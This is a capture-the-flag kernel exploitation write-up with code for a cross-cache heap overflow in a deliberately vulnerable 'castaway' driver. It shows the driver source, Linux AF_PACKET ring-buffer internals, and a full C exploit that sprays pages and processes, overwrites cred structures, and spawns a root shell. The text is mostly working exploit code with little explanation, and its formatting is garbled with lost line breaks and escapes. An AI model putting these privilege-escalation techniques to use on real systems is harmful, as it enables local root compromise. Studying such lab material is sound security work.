Kernel Heap – Cross Cache Overflow

#!/bin/sh
exec qemu-system-x86_64     -m 4096M     -nographic     -kernel bzImage     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on"     -netdev user,id=net     -device e1000,netdev=net     -no-reboot     -monitor /dev/null     -cpu qemu64,+smep,+smap     -initrd initramfs.cpio.gz                                           

#define OVERFLOW_SZ 0x6
#define CHUNK_SIZE 512#define MAX 8 * 50
struct castaway_cache{    char buf[CHUNK_SIZE];};
static int init_castaway_driver(void){    castaway_dev.minor = MISC_DYNAMIC_MINOR;    castaway_dev.name = DEVICE_NAME;    castaway_dev.fops = &castaway_fops;    castaway_dev.mode = 0644;    mutex_init(&castaway_lock);    if (misc_register(&castaway_dev))    {        return -1;    }    castaway_arr = kzalloc(MAX * sizeof(castaway_t *), GFP_KERNEL);     //400个 castaway_t大小的数组    if (!castaway_arr)    {        return -1;    }    castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);   //出题者自行构造的隔离kmem_cache    if (!castaway_cachep)    {        return -1;    }    printk(KERN_INFO "All alone in an castaway cache... n");    printk(KERN_INFO "There's no way a pwner can escape!n");    return 0;}

/* * Please use this macro to create slab caches. Simply specify the * name of the structure and maybe some flags that are listed above. * * The alignment of the struct determines object alignment. If you * f.e. add ____cacheline_aligned_in_smp to the struct declaration * then the objects will be properly aligned in SMP configurations. */#define KMEM_CACHE(__struct, __flags)              kmem_cache_create(#__struct, sizeof(struct __struct),        __alignof__(struct __struct), (__flags), NULL)

typedef struct{    int64_t idx;    uint64_t size;    char *buf;    }user_req_t;
static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg){    user_req_t req;    long ret = 0;
    if (cmd != ALLOC && copy_from_user(&req, (void *)arg, sizeof(req)))    {        return -1;    }    mutex_lock(&castaway_lock);    switch (cmd)    {        case ALLOC:            ret = castaway_add();            break;        case EDIT:            ret = castaway_edit(req.idx, req.size, req.buf);            break;        default:            ret = -1;    }    mutex_unlock(&castaway_lock);    return ret;}

static long castaway_add(void){    int idx;    if (castaway_ctr >= MAX)    {        goto failure_add;    }    idx = castaway_ctr++;    castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);
    if (!castaway_arr[idx])    {        goto failure_add;    }
    return idx;
    failure_add:    printk(KERN_INFO "castaway chunk allocation failedn");    return -1;}

typedef struct{    char pad[OVERFLOW_SZ];    char buf[];}castaway_t;
static long castaway_edit(int64_t idx, uint64_t size, char *buf){    char temp[CHUNK_SIZE];    if (idx < 0 || idx >= MAX || !castaway_arr[idx])    {        goto edit_fail;    }    if (size > CHUNK_SIZE || copy_from_user(temp, buf, size))    {        goto edit_fail;    }    memcpy(castaway_arr[idx]->buf, temp, size);
    return size;
    edit_fail:    printk(KERN_INFO "castaway chunk editing failedn");    return -1;}

CONFIG_SLAB_FREELIST_RANDOM=y    CONFIG_SLAB_FREELIST_HARDENED=y

# strace tcpdump -i eth0...socket(PF_PACKET, SOCK_RAW, 768)        = 3...bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0...setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0...setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0...mmap(NULL, 4063232, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0x7f73a6817000...

struct packet_sock {  /* struct sock has to be the first member of packet_sock */  struct sock    sk;    ...    struct packet_ring_buffer  rx_ring;     //通过setsocketopt选项PACKET_RX_RING(recive)来创建   struct packet_ring_buffer  tx_ring;     //通过setcosketopt选项PACKET_TX_RING(transmit)来创建    ...    enum tpacket_versions  tp_version;     //用来设置环形缓冲区版本    ...    int      (*xmit)(struct sk_buff *skb);    ...};

struct pgv {  char *buffer;};
struct packet_ring_buffer {  struct pgv    *pg_vec;
  ...
  union {    unsigned long      *rx_owner_map;    struct tpacket_kbdq_core  prb_bdqc;  };};

/* kbdq - 内核块描述队列 */struct tpacket_kbdq_core {    ...    unsigned short  blk_sizeof_priv;   //标志着每个block中私有区域的大小   ...    char    *nxt_offset;       //指向活动block内， 同时指向下一个packet保存的地方    ...    struct timer_list retire_blk_timer;   //描述了在超时时退出当前块的定时器};
struct timer_list {  struct hlist_node  entry;  unsigned long    expires;  void      (*function)(struct timer_list *);  u32      flags;
#ifdef CONFIG_LOCKDEP  struct lockdep_map  lockdep_map;#endif};

err = -EINVAL;    if (unlikely((int)req->tp_block_size <= 0))      goto out;    if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))      goto out;    min_frame_size = po->tp_hdrlen + po->tp_reserve;    if (po->tp_version >= TPACKET_V3 &&        req->tp_block_size <        BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)      goto out;    if (unlikely(req->tp_frame_size < min_frame_size))      goto out;    if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))      goto out;
    rb->frames_per_block = req->tp_block_size / req->tp_frame_size;    if (unlikely(rb->frames_per_block == 0))      goto out;    if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr))      goto out;    if (unlikely((rb->frames_per_block * req->tp_block_nr) !=          req->tp_frame_nr))      goto out;

err = -ENOMEM;    order = get_order(req->tp_block_size);    pg_vec = alloc_pg_vec(req, order);    if (unlikely(!pg_vec))      goto out;

static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order){  ...
  pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL | __GFP_NOWARN);  if (unlikely(!pg_vec))    goto out;
  for (i = 0; i < block_nr; i++) {    pg_vec[i].buffer = alloc_one_pg_vec_page(order);    ...}
static char *alloc_one_pg_vec_page(unsigned long order){  char *buffer;  gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP |        __GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY;
  buffer = (char *) __get_free_pages(gfp_flags, order);  if (buffer)    return buffer;    ...}

    switch (po->tp_version) {    case TPACKET_V3:      /* Block transmit is not supported yet */      if (!tx_ring) {        init_prb_bdqc(po, rb, pg_vec, req_u);            ...          }

static void init_prb_bdqc(struct packet_sock *po,      struct packet_ring_buffer *rb,      struct pgv *pg_vec,      union tpacket_req_u *req_u){  struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);  struct tpacket_block_desc *pbd;
  memset(p1, 0x0, sizeof(*p1));
  p1->knxt_seq_num = 1;  p1->pkbdq = pg_vec;  pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;  p1->pkblk_start  = pg_vec[0].buffer;  p1->kblk_size = req_u->req3.tp_block_size;  p1->knum_blocks  = req_u->req3.tp_block_nr;  p1->hdrlen = po->tp_hdrlen;  p1->version = po->tp_version;  p1->last_kactive_blk_num = 0;  po->stats.stats3.tp_freeze_q_cnt = 0;  if (req_u->req3.tp_retire_blk_tov)    p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;  else    p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,            req_u->req3.tp_block_size);  p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);  p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;  rwlock_init(&p1->blk_fill_in_prog_lock);
  p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);  prb_init_ft_ops(p1, req_u);  prb_setup_retire_blk_timer(po);  prb_open_block(p1, pbd);}

static void prb_open_block(struct tpacket_kbdq_core *pkc1,  struct tpacket_block_desc *pbd1){  ...
  pkc1->pkblk_start = (char *)pbd1;  pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
  ...}

  case PACKET_RX_RING:  case PACKET_TX_RING:  {    union tpacket_req_u req_u;    int len;
    lock_sock(sk);    switch (po->tp_version) {    case TPACKET_V1:    case TPACKET_V2:      len = sizeof(req_u.req);      break;    case TPACKET_V3:    default:      len = sizeof(req_u.req3);      break;    }    if (optlen < len) {      ret = -EINVAL;    } else {      if (copy_from_sockptr(&req_u.req, optval, len))        ret = -EFAULT;      else        ret = packet_set_ring(sk, &req_u, 0,                optname == PACKET_TX_RING);    }    release_sock(sk);    return ret;  }

CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND

task_structkmalloc-64vmap_areavmap_areacred_jarsignal_cachepid

#define _GNU_SOURCE #include <stdio.h>#include <stdint.h>#include <string.h>#include <unistd.h>#include <stdlib.h>#include <fcntl.h>#include <sched.h>#include <assert.h>#include <time.h>#include <sys/socket.h>#include <stdbool.h>
#define PRINT_ADDR(str, x) printf("33[0m33[1;34m[+]%s 33[0m:0x%lxn", str, x)
void info_log(char* str){     printf("33[0m33[32m[+]%s33[0mn",str);}
void error_log(char* str){  printf("33[0m33[1;31m[-]%s33[0mn",str);  exit(1);}


#define ALLOC 0xcafebabe#define DELETE 0xdeadbabe#define EDIT 0xf00dbabe
#define CLONE_FLAGS CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND
typedef struct{    int64_t idx;    uint64_t size;    char *buf;}user_req_t;
struct tpacket_req{    unsigned int tp_block_size;    unsigned int tp_block_nr;    unsigned int tp_frame_size;    unsigned int tp_frame_nr;};
enum tpacket_versions {    TPACKET_V1,    TPACKET_V2,    TPACKET_V3,};
#define PACKET_VERSION 10#define PACKET_TX_RING 13
#define FORK_SPRAY 320#define CHUNK_SIZE 512#define ISO_SLAB_LIMIT 8
#define CRED_JAR_INITIAL_SPRAY 32
#define INITIAL_PAGE_SPRAY 1000#define FINAL_PAGE_SPRAY 30
typedef struct{    bool in_use;    int idx[ISO_SLAB_LIMIT];}full_page;
enum spray_cmd {    ALLOC_PAGE,    FREE_PAGE,    EXIT_SPRAY,};
typedef struct{    enum spray_cmd cmd;    int32_t idx;}ipc_req_t;
/* Finally spray vulnurbility pages */full_page isolation_pages[FINAL_PAGE_SPRAY] = {0};
int rootfd[2];int sprayfd_child[2];int sprayfd_parent[2];int socketfds[INITIAL_PAGE_SPRAY];
int64_t ioctl(int fd, unsigned long request, unsigned long param){    long result = syscall(16, fd, request, param);    if(result < 0)        perror("ioctl on driver");    return result;}
int64_t alloc(int fd){    return ioctl(fd, ALLOC, 0);}
int64_t edit(int fd, int64_t idx, uint64_t size, char* buf){    user_req_t req = {.idx = idx, .size = size, .buf = buf};    return ioctl(fd, EDIT, (unsigned long)&req);}
void debug(){    puts("<STAR PLATINUM, THE WORLD!>");    getchar();    return;}
void unshare_setup(uid_t uid, gid_t gid){    int temp;    char edit[0x100];    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);     //Create new namespace and get in    temp = open("/proc/self/setgroups", O_WRONLY);    write(temp, "deny", strlen("deny"));    close(temp);    temp = open("/proc/self/uid_map", O_WRONLY);    snprintf(edit, sizeof(edit), "0 %d 1", uid);    write(temp, edit, strlen(edit));    close(temp);    temp = open("/proc/self/gid_map", O_WRONLY);    snprintf(edit, sizeof(edit), "0 %d 1", gid);    write(temp, edit, strlen(edit));    close(temp);    return;}/* * * __clone - clone syscall in /kernel/fork.c * @flags: clone flags * @dest: the ptr of the user_stack * */__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest){    asm("mov r15, rsi;"        "xor rsi, rsi;"        "xor rdx, rdx;"        "xor r10, r10;"        "xor r9, r9;"        "mov rax, 56;"        "syscall;"        "cmp rax, 0;"        "jl bad_end;"        "jg good_end;"        "jmp r15;"        "bad_end:"        "neg rax;"        "ret;"        "good_end:"        "ret;");}
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};char throwaway;char root[] = "rootn";char binsh[] = "/bin/shx00";char *args[] = {"/bin/sh", NULL};
__attribute__((naked)) void check_and_wait(){    asm(        "lea rax, [rootfd];"        "mov edi, dword ptr [rax];"        "lea rsi, [throwaway];"        "mov rdx, 1;"        "xor rax, rax;"        "syscall;"              //read(rootfd, throwaway, 1)        "mov rax, 102;"                 "syscall;"              //getuid()        "cmp rax, 0;"           // not root, goto finish        "jne finish;"        "mov rdi, 1;"        "lea rsi, [root];"        "mov rdx, 5;"        "mov rax, 1;"        "syscall;"              //write(1, root, 5)        "lea rdi, [binsh];"        "lea rsi, [args];"        "xor rdx, rdx;"        "mov rax, 59;"        "syscall;"              //execve("/bin/sh", args, 0)        "finish:"        "lea rdi, [timer];"        "xor rsi, rsi;"        "mov rax, 35;"        "syscall;"              //nanosleep()        "ret;");}
int just_wait(){    sleep(1000000000);}
/* * * alloc_pages_via_sock - page allocation primitive * @size: once order-* allocation in page level * @n: the times you want to allocate * Return: the new socket fd * */int alloc_pages_via_sock(uint32_t size, uint32_t n){    struct tpacket_req req;    int32_t socketfd, version;        /* Create the AF_PACKET socket */    socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);    if(socketfd < 0){        error_log("Create the AF_PACKET socket failed...");    }
    version = TPACKET_V1;
    /* Set the ring buffer version */    if(setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)    {        error_log("setsocketopt PACKET_VETSION failed...");    }        assert(size % 4096 == 0);   //size must be the 4096x*        memset(&req, 0, sizeof(req));    req.tp_block_size = size;    req.tp_block_nr = n;    req.tp_frame_size = 4096;    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr)/req.tp_frame_size;        /* Allocate the PACKET_TX_RING type ring buffer */    if(setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)    {        error_log("setsocketopt PACKET_TX_RING failed!");    }        return socketfd;}
void spray_comm_handler(){    ipc_req_t req;    int32_t result;
    do{        read(sprayfd_child[0], &req, sizeof(req));        assert(req.idx < INITIAL_PAGE_SPRAY);        if(req.cmd == ALLOC_PAGE){            socketfds[req.idx] = alloc_pages_via_sock(4096, 1);        }else if (req.cmd == FREE_PAGE){            close(socketfds[req.idx]);        }        result = req.idx;        write(sprayfd_parent[1], &result, sizeof(result));    }while(req.cmd != EXIT_SPRAY);}
void send_spray_cmd(enum spray_cmd cmd, int idx){    ipc_req_t req;    int32_t result;
    req.cmd = cmd;    req.idx = idx;    /* write to child manager for cmd */    write(sprayfd_child[1], &req, sizeof(req));    /* read from parent pipe which just been writen by child manager */    read(sprayfd_parent[0], &result, sizeof(result));    assert(result == idx);}
void alloc_vuln_page(int fd, full_page *arr, int page_idx){    assert(!arr[page_idx].in_use);    for(int i = 0; i < ISO_SLAB_LIMIT; i++){        long result = alloc(fd);        if(result < 0){            error_log("Allocation vuln page error...");        }        arr[page_idx].idx[i] = result;    }    arr[page_idx].in_use = true;}
void edit_vuln_page(int fd, full_page *arr, int page_idx, uint8_t *buf, size_t sz){    assert(arr[page_idx].in_use);    for(int i = 0; i < ISO_SLAB_LIMIT; i++){        long result = edit(fd, arr[page_idx].idx[i], sz, buf);        if(result < 0){            error_log("edit error...");        }    }}
int main(int argc, char **argv){
    info_log("Step I: Open the vulnurability driver...");    int fd = open("/dev/castaway", O_RDONLY);    if(fd < 0){        error_log("Driver open failed!");    }        info_log("Step II: Construct two pipe for communicating in those namespace...");    pipe(sprayfd_child);    pipe(sprayfd_parent);
    info_log("Step III: Setting up spray manager in separate namespace...");    if(!fork()){        unshare_setup(getuid(), getgid());        spray_comm_handler();    }    /* For communicating with the fork later */    pipe(rootfd);    char evil[CHUNK_SIZE];    memset(evil, 0, sizeof(evil));        info_log("Step IV: Draining Start!");    puts("[*]draining cred_jar...");    for(int i = 0; i < CRED_JAR_INITIAL_SPRAY; i++){        pid_t result = fork();        if(!result){            just_wait();        }        if(result < 0){            error_log("fork limit...");        }    }    puts("[*]draining Buddysystem, of course order 0 :)");    for(int i = 0; i < INITIAL_PAGE_SPRAY; i++){        send_spray_cmd(ALLOC_PAGE, i);    }    /* Free the medium one, of many in other words... */    for(int i = 1; i < INITIAL_PAGE_SPRAY; i += 2){        send_spray_cmd(FREE_PAGE, i);    }     for(int i = 0; i < FORK_SPRAY; i++){        pid_t result = __clone(CLONE_FLAGS, &check_and_wait);        if(result < 0){            error_log("clone error...");        }    }    for(int i = 0; i < INITIAL_PAGE_SPRAY; i += 2){        send_spray_cmd(FREE_PAGE, i);    }      *(uint32_t *)&evil[CHUNK_SIZE - 0x6] = 1;    puts("[*]Spraying cross cache overflow...");       for(int i = 0; i < FINAL_PAGE_SPRAY; i++){        alloc_vuln_page(fd, isolation_pages, i);        edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);    }    write(rootfd[1], evil, FORK_SPRAY);    sleep(10000);    exit(0);}